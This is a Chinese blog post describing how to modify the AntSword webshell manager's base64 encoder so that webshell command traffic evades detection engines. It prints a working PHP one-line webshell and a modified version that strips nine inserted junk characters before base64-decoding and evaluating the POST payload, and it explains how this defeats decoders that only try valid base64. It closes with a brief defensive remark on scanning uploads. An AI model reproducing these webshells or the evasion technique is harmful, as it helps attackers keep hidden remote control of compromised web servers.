首页 > 其他分享 >修改蚁剑编码方式以进行流量伪装

修改蚁剑编码方式以进行流量伪装

时间:2022-09-27 16:01:03浏览次数:76  
标签:编码 检测 解码 base64 流量 伪装 编码方式 进行

最近工作需要,学习了一下webshell加密通信的方法,本文记录下修改蚁剑编码以进行流量伪装的实验过程。本人网络安全小白,不足还请指出,多谢。

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。\(^引\)

但同时也会用作webshell,被一些攻击者所利用。

比如,如果网站上存在一句话木马,<?php eval($_POST[test]);?>,则可使用蚁剑进行连接控制。

image

将一句话中间的post参数test作为密码,便可以进行蚁剑的连接。

如果采用默认的编码器和最基础的配置,点击测试连接,可以捕捉到相关post流量。

image

可以看到post请求正文部分,有一个key-value pair,key正是test,一句话找到这个key并通过eval执行对应的value,从而远程执行代码进行控制。

上面是默认的编码器,这时,如果选择base64编码

image

则请求部分的流量为

image

URL解码后得到

image

当执行test的时候,会找到正文中nd326ad188f2ca对应的value并进行base64_decode,之后eval执行。

可以看到,当采用base64编码配置的时候,首先会将原始命令进行base64编码,采用随机变量作为key进行存储传输,后再提供一个具体的执行方式。

查看蚁剑关于base64编码配置的源码

image

可以看到,同上面分析一致,对原始数据data['_']进行base64编码,分配randomID,同时提供了一个执行方式data[pwd]。

这个方法中,webshell控制时需要同时将执行方式一起进行传输,每次都需要提供给一句话木马。

此外,根据上面流量信息,编码部分往往只编码了控制代码,执行方式并没有进行编码。将执行方式进行明文传输,存在较为明显的检测特征,常规检测引擎可以通过这部分特征进行拦截。

为绕过拦截,攻击者会针对这部分进行优化:直接将执行方式放嵌入到木马里。这样流量中只有加密过的数据。

抛砖引玉,这里设计一个绕过方式。

根据base64原理,base64编码后的数据只会包含大小写字母、数字、+、/。

base64将3个字节的数据分为4组进行编码,所以长度为4的倍数,长度不满4的倍数的话在末尾用等号(=)填充。

通常检测引擎为防逃逸会有对base64数据进行解码的功能,但多数只会对符合base64格式的数据进行解码尝试。所以可以简简单单在数据前面插入几个字符,使其长度不满足4的倍数或者包含其他字符,以此尝试绕过检测。

实际执行时,将前面插入的字符再删除掉即可。

这里,对上文的一句话木马进行修改

<?php eval(base64_decode(substr($_POST[test], 9)));?>

包含两个功能,一个是采用了substr函数对传输过来的数据进行替换,保留真正的base64攻击载荷;另一个是加入了base64_decode函数,直接将解码方式写入到一句话中,避免流量传输解码方式。

为适配这个一句话,稍稍对蚁剑的base64编码器进行了修改

image

删除了randomID,直接写死test。在value中,除了默认的对命令进行base64编码以外,在前面加入了"hello?hhh"9个字符用作混淆。

此外也删除了pwd这个解码方法。

测试连接,成功,得到请求流量为

image

仅包含一个键值对,通常,随机插入的这9个混淆字符已经足以让部分检测引擎无法解码。

至此,在进行远程控制时,每次执行命令的post报文中已经没有明显的攻击特征,这达到伪装成正常业务的目的。

综上所述,如果精心构造修改蚁剑,并将秘钥/解码方法嵌入到木马中,则对通信流量有一定伪装,可绕过检测。

实际中,包其他握手等部分流量同样也缺乏强有力的检测特征。

对于这种webshell的检测,我认为在webshell上传过程中对文件进行检测是目前比较合适的方法(假如文件有混淆又是个难题)。

参考

中国蚁剑

蚁剑改造过WAF系列(一)

标签:编码,检测,解码,base64,流量,伪装,编码方式,进行
From: https://www.cnblogs.com/antelx/p/16734854.html

相关文章

  • Linux 网卡实时流量查看脚本
    Linux网卡实时流量查看脚本#!/bin/bashPATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin;exportPATHfunctiontraffic_monitor{OS_NAME=$......
  • python爬虫随机headers伪装fake_useragent
    python爬虫随机headers伪装fake_useragentfake_useragent库调用方法ua.random可以随机返回一个headers(User-Agent)fromfake_useragentimportUserAgent#下载:pip......
  • Kodezi——最聪明的编码方式
    Kodezi——最聪明的编码方式软件开发已成为劳动力市场上最受重视的技能之一。每家公司都需要技术人才,从2019年到2029年,该类别中的职位估计将增长22%,远高于所有其他......
  • OpenSergo & CloudWeGo 共同保障微服务运行时流量稳定性
    简介: 流控降级与容错是微服务流量治理中的重要的一环,同时MSE还提供更广范围、更多场景的微服务治理能力,包括全链路灰度、无损上下线、微服务数据库治理、日志治理等一系......
  • 流量采集
    流量采集方式IP网中流量采集方式很多,例如端口镜像、WCCP协议(WebCacheCommunicationProtocol)流量重定向、分光器采集、四层交换机的流量重定向等。这里主要介绍比较流......
  • 用 Fiddler 抓取 iOS HTTPS 的流量失败的解决办法
    Fiddler证书安装后还是无法抓取移动端的HTTPS流量问题的解决办法|卓越笔记(xieboke.net)现象:同Fiddler,客户端已安装证书并信任,安卓设备的https流量可以抓包,iOS......
  • net core AspNetCoreRateLimit 流量限制
    1.NuGet添加AspNetCoreRateLimit程序包。2.Startup.cs配置如下ConfigureServices方法新增services.AddOptions();services.AddMemoryCache();......
  • 百度小程序怎么优化排名?获取巨大的SEO流量,官方方案来了!
    很多小程序开发者比较关注如果通过百度小程序获取更多搜索收益,今天A5创业网小编给大家带来了《百度智能小程序搜索优化指南》,涉及小程序搭建、资源接入搜索、资源合作、查......
  • Envoy 流量镜像
    流量镜像流量镜像,也称为流量复制或影子镜像流量镜像功能通常用于在生产环境进行测试,通过将生产流量镜像拷贝到测试集群或者新版本集群,实现新版本接近真实环境的测试,旨......
  • Dubbo 3 StateRouter:下一代微服务高效流量路由
    作者:十眠目前的微服务架构中,通常包含服务消费者、服务提供者、注册中心、服务治理四元素,其中服务消费者会向注册中心获取服务提供者的地址列表,并根据路由策略选出需要调用......